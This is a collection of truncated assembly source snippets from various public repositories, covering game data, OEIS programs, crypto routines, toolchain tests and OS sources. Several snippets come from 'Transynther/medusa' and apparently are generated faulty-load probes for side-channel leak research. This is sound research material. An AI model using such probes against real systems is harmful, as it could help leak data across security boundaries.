53
56622
<reponame>ISSOtm/Aevilia-GB<filename>maps/startham.asm SECTION "Startham map", ROMX StarthamMap:: db 0 ; Exterior map db MUSIC_OVERWORLD ; Music ID db 0 ; Tileset is fixed db TILESET_OVERWORLD ; Tileset dw NO_SCRIPT ; Script (none) map_size 29, 18 ; Width, height dw NO_SCRIPT ; Loading script...
uebung1/hello-world.asm
Sebb767/rechnerarchitektur
1
56623
section .text global main main: mov eax, 4 ; sys call number (sys_write) mov ebx, 1 ; stdout file descriptor mov ecx, mymsg ; message mov edx, mylen ; lenght int 80h ; syscall (kernel) mov eax, 1 ; sys_exit mov ebx, 0 ; error-code = 1 int 80h ; invoke kernel again section .data mymsg db "Hello, Wor...
ASM/src/extended_items.asm
ShadoMagi/OoT-Randomizer
0
56624
<reponame>ShadoMagi/OoT-Randomizer<gh_stars>0 ;================================================================================================== ; Item data ;================================================================================================== ; Dungeon indexes, used with the dungeon item / small key...
third_party/serf/win-x86_64/crypto/bn/rsaz-avx2.asm
PeterDaveHello/incubator-pagespeed-mod
777
56626
<filename>third_party/serf/win-x86_64/crypto/bn/rsaz-avx2.asm<gh_stars>100-1000 default rel %define XMMWORD %define YMMWORD %define ZMMWORD section .text code align=64 global rsaz_avx2_eligible rsaz_avx2_eligible: xor eax,eax DB 0F3h,0C3h ;repret global rsaz_1024_sqr_avx2 global rsaz_1024_mul_avx2 global rsaz_1...
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_240.asm
ljhsiun2/medusa
9
56627
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WT+0x10a28, %r12 nop nop xor %r11, %r11 movl $0x51525354, (%r12) nop xor $62619, %r15 // Store lea addre...
programs/oeis/285/A285351.asm
neoneye/loda
22
56628
<reponame>neoneye/loda<gh_stars>10-100 ; A285351: a(n) = 2n + 1 - A285346(n). ; 0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,1,1,1,0,1,1,0 add $0,1 mov $2,$0 mov $3,$0 lpb $2,2 ...
MDPL/lab03/linux_bin/main_asm_linux.asm
3xlerman/labsbonch
3
56629
<reponame>3xlerman/labsbonch ; Assemble: nasm -f elf64 -l main_asm_linux.lst main_asm_linux.asm ; Link: gcc -m64 -o main_asm_linux main_asm_linux.o ; Run: ./main_asm_linux global main extern printf extern scanf extern exit segment .data mode_1_str: db "1 signed",0Dh,0Ah,0 mode_2_str: db "2 unsigned",0Dh,...
programs/oeis/132/A132227.asm
jmorken/loda
1
56630
; A132227: a(n) = 3*prime(n) - 5. ; 1,4,10,16,28,34,46,52,64,82,88,106,118,124,136,154,172,178,196,208,214,232,244,262,286,298,304,316,322,334,376,388,406,412,442,448,466,484,496,514 cal $0,40 ; The prime numbers. mov $1,$0 mul $1,3 sub $1,5
src/test/resources/data/potests/test21.asm
cpcitor/mdlz80optimizer
36
56632
<reponame>cpcitor/mdlz80optimizer<filename>src/test/resources/data/potests/test21.asm ; Test case: ld bc,1 ; <-- should not be optimized, as we don't know what undefinedSymbol does call undefinedSymbol ld bc,2 ; <-- should be optimized call definedSymbol end: jp end definedSymbol: ld bc,2 ret
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_2250.asm
ljhsiun2/medusa
9
56633
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rcx push %rdi push %rsi lea addresses_A_ht+0x75c7, %rsi lea addresses_A_ht+0x1cc, %rdi add %r13, %r13 mov $105, %rcx rep movsl nop add %r8, %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %...
Library/User/User/userMain.asm
steakknife/pcgeos
504
56634
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% (c) Copyright GeoWorks 1995. All Rights Reserved. GEOWORKS CONFIDENTIAL PROJECT: GEOS MODULE: User/User FILE: userMain.asm ROUTINES: Name Description ---- ----------- MTD MSG_GEN_PROCESS_ATTACH_TO_PASSED_STATE_F...
tools/Windows/NEXXT_0_9_1/Resources/rle_ca65.asm
jroweboy/cnes
5
56635
<gh_stars>1-10 ;Original RLE decompressor by Shiru. ;Rewritten for use with ca65 by FrankenGraphics. ;uses 4 bytes in zero page ;decompress data from an address in X/Y to PPU_DATA ;put these 4 reservations where they belong in your project. ;alternately, you can use any memory in zp you've defined temp vars for. R...
src/autogenerated/textBank2.asm
jannone/westen
49
56636
<filename>src/autogenerated/textBank2.asm ; line: 'At last! JW's laboratory!' ; size in bytes: 26 line_0: db #19,#2b,#8e,#00,#7e,#69,#8c,#8e,#02,#00,#3d,#5d,#08,#8c,#00,#7e db #69,#6b,#84,#8a,#69,#8e,#84,#8a,#9b,#02 end_line_0: ; line: 'Let's find JW's laboratory.' ; size in bytes: 28 line_1: db #1b,#42,#71...
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_948.asm
ljhsiun2/medusa
9
56637
<reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_948.asm .global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x15d5, %rsi lea addresses_WC_ht+0x176d5, %rdi nop sub $50762, %rbx mo...
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sccz80/p_forward_list_next.asm
jpoikela/z88dk
640
56638
; void *p_forward_list_next(void *item) SECTION code_clib SECTION code_adt_p_forward_list PUBLIC p_forward_list_next EXTERN asm_p_forward_list_next defc p_forward_list_next = asm_p_forward_list_next ; SDCC bridge for Classic IF __CLASSIC PUBLIC _p_forward_list_next defc _p_forward_list_next = p_forward_list_next ...
test/asm/builtin-overwrite.asm
michealccc/rgbds
522
56639
<reponame>michealccc/rgbds<gh_stars>100-1000 macro tickle ; There once was a bug where overwriting worked only on the second try, so ; try everything twice for good measure ; Skip this syntax for EQUS, as it is invalid IF \2 \1 = 0 \1 = 0 PRINTLN \1 \1 EQU 0 \1 EQU 0 PRINTLN \1 ENDC PURGE \1 PURGE \1 PRINTLN \1 DEF...
oeis/335/A335021.asm
neoneye/loda-programs
11
56642
<filename>oeis/335/A335021.asm ; A335021: a(n) = Sum_{d|n, 1 < d < n} (-1)^(d + 1). ; Submitted by <NAME>(s3) ; 0,0,0,-1,0,0,0,-2,1,0,0,-2,0,0,2,-3,0,0,0,-2,2,0,0,-4,1,0,2,-2,0,0,0,-4,2,0,2,-3,0,0,2,-4,0,0,0,-2,4,0,0,-6,1,0,2,-2,0,0,2,-4,2,0,0,-4,0,0,4,-5,2,0,0,-2,2,0,0,-6,0,0,4,-2,2,0,0,-6,3,0,0,-4,2,0,2,-4,0,0,2,-2,2...
programs/oeis/026/A026430.asm
neoneye/loda
22
56644
<filename>programs/oeis/026/A026430.asm ; A026430: a(n) is the sum of first n terms of A001285 (Thue-Morse sequence). ; 0,1,3,5,6,8,9,10,12,14,15,16,18,19,21,23,24,26,27,28,30,31,33,35,36,37,39,41,42,44,45,46,48,50,51,52,54,55,57,59,60,61,63,65,66,68,69,70,72,73,75,77,78,80,81,82,84,86,87,88,90,91,93,95,96,98,99,100,10...
programs/oeis/181/A181306.asm
neoneye/loda
22
56645
; A181306: Number of 2-compositions of n having no increasing columns. A 2-composition of n is a nonnegative matrix with two rows, such that each column has at least one nonzero entry and whose entries sum up to n. ; 1,1,3,7,18,44,110,272,676,1676,4160,10320,25608,63536,157648,391152,970528,2408064,5974880,14824832,367...
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_53_2285.asm
ljhsiun2/medusa
9
56646
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r8 push %r9 push %rax push %rcx push %rdi lea addresses_A_ht+0x126f7, %rax nop nop sub $65275, %rcx movups (%rax), %xmm1 vpextrq $0, %xmm1, %rdi nop nop nop nop sub $39860, %r9 lea addresses_UC_ht+0x157f7, %r8 nop nop nop nop sub $26914, %rax ...
servers/video/vga/vgalib.asm
chaos4ever/chaos-old
0
56647
; $Id: vgalib.asm,v 1.2 2000/10/22 21:38:16 plundis Exp $ ; Abstract: VGA library in assembly ; Copyright 1999-2000 chaos development. ; Originally written by <NAME>. Thank you for your great help! ; This program is free software; you can redistribute it and/or modify ; it under the terms of the GNU General Public L...
programs/oeis/005/A005920.asm
karttu/loda
1
56648
; A005920: Tricapped prism numbers. ; 1,9,33,82,165,291,469,708,1017,1405,1881,2454,3133,3927,4845,5896,7089,8433,9937,11610,13461,15499,17733,20172,22825,25701,28809,32158,35757,39615,43741,48144,52833,57817,63105,68706,74629,80883,87477,94420,101721,109389,117433,125862,134685,143911,153549,163608,174097,185025,19640...
Appl/Term/Main/scriptEdit.asm
steakknife/pcgeos
504
56649
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1996. All rights reserved. GEOWORKS CONFIDENTIAL PROJECT: MODULE: FILE: scriptEdit.asm AUTHOR: <NAME>, Nov 25, 1996 ROUTINES: Name Description ---- ----------- MSG_TERM_SCRIPT_EDITOR_OPE...
src/msx/sample_res/01.asm
aburi6800/msx-PSGSoundDriver
3
56651
_01: DB 0 DW _01_TRK1 DW _01_TRK2 DW _01_TRK3 _01_TRK1: DB 217, %10, 212, 20, 36, 32, 36, 44, 78, 210, 44, 6, 208, 44, 6, 206 DB 44, 6, 204, 44, 6, 202, 44, 18 DB 255 _01_TRK2: DB 200, 0, 12, 217, %10, 212, 24, 36, 36, 36, 48, 66, 210, 48, 6, 208 DB 48, 6, 206, 48, 6, 204, 4...
oeis/172/A172447.asm
neoneye/loda-programs
11
56653
; A172447: a(n) = (-1 + 5*2^(2*n + 1) - 3*n)/9. ; 1,4,17,70,283,1136,4549,18202,72815,291268,1165081,4660334,18641347,74565400,298261613,1193046466,4772185879,19088743532,76354974145,305419896598,1221679586411,4886718345664,19546873382677,78187493530730,312749974122943,1250999896491796,5003999585967209,2001599834386886...
oeis/152/A152888.asm
neoneye/loda-programs
11
56654
<reponame>neoneye/loda-programs ; A152888: Partial sums of length of terms in A081368 where A081368(1) is set to 0. ; Submitted by <NAME> ; 0,2,5,9,14,21,28,36,45,55,66,77,90,104,119,135,152,170 mov $5,$0 add $5,1 mov $6,$0 add $0,1 mov $2,$5 add $6,2 mul $6,$5 mov $1,$6 mov $3,$0 lpb $0 mov $0,5 add $1,5 div $2...